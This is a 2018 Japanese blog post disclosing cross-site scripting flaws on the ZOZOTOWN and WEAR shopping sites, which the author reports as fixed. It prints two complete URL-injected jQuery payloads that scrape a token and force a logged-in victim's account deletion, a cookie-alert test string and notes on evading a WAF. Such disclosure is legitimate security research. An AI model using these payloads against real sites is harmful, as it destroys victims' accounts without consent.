LoginSignup
65
33

More than 3 years have passed since last update.

ZOZOTOWNにあったXSS

Last updated at Posted at 2018-10-19

zozo_google.png
(2018年10月)

(宇宙よりエンジニアに金かけた方が良いのでは?)

って近所の猫が言ってた。

XSS

以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

ログイン中に踏んだら強制退会できたXSS↓

http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
    type: 'GET',
    url: 'http://zozo.jp/_member/leave/default.html?',
    success: function(html){
        var token = $(html).find('input[value=Leave]').attr('name');
        var payload = {};
        payload[token] = 'Leave';
        payload['check1'] = 'on';
        payload['check2'] = 'on';
        payload['check3'] = 'on';
        payload['check5'] = 'on';
        payload['check7'] = 'on';
        $.ajax({
            type: 'POST',
            url: 'http://zozo.jp/_member/leave/default.html',
            data: payload
        });
    }
});{{'

http://zozo.jp/~https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。

原因

htmlにべた書きする形で、<script>タグの中身をURLから動的に生成していた。
現在は直っている。


あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに

  • "><script>alert(document.cookie)</script>

とか突っ込むとセルフXSSができた。
現在は直っている。

感想

  • 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
    • <script> ~、<img> ~、<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
    • location. ~ でリダイレクトさせたりすることはできた。
  • jQueryを使ってくれていて助かった。
  • ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。
    • → この記事書いた3日後にきた。

WEAR

wear.png

知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。

追記1:

よくよく見てたらWEARでも普通にXSSできた。
wear_xss_urlなし.png
(2018年10月)

追記2:

WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

強制退会XSSもできた↓

https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
 type: 'GET',
 url: leaveUrl,
 success: function(html){
 var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
 var payload = {};
 payload['AgreeCheck'] = 1;
 payload['c'] = 'leave_comp';
 payload['leaveAgreeKey'] = token;
 $.ajax({
 type: 'POST',
 url: leaveUrl,
 data: payload
 });
 }
});
var b = {'c': '

追記3:

海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。

スクリーンショット 2018-10-20 21.15.54.png
スクリーンショット 2018-10-20 21.16.48.png
スクリーンショット 2018-10-20 21.17.33.png
(2018年10月)

65
33
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
65
33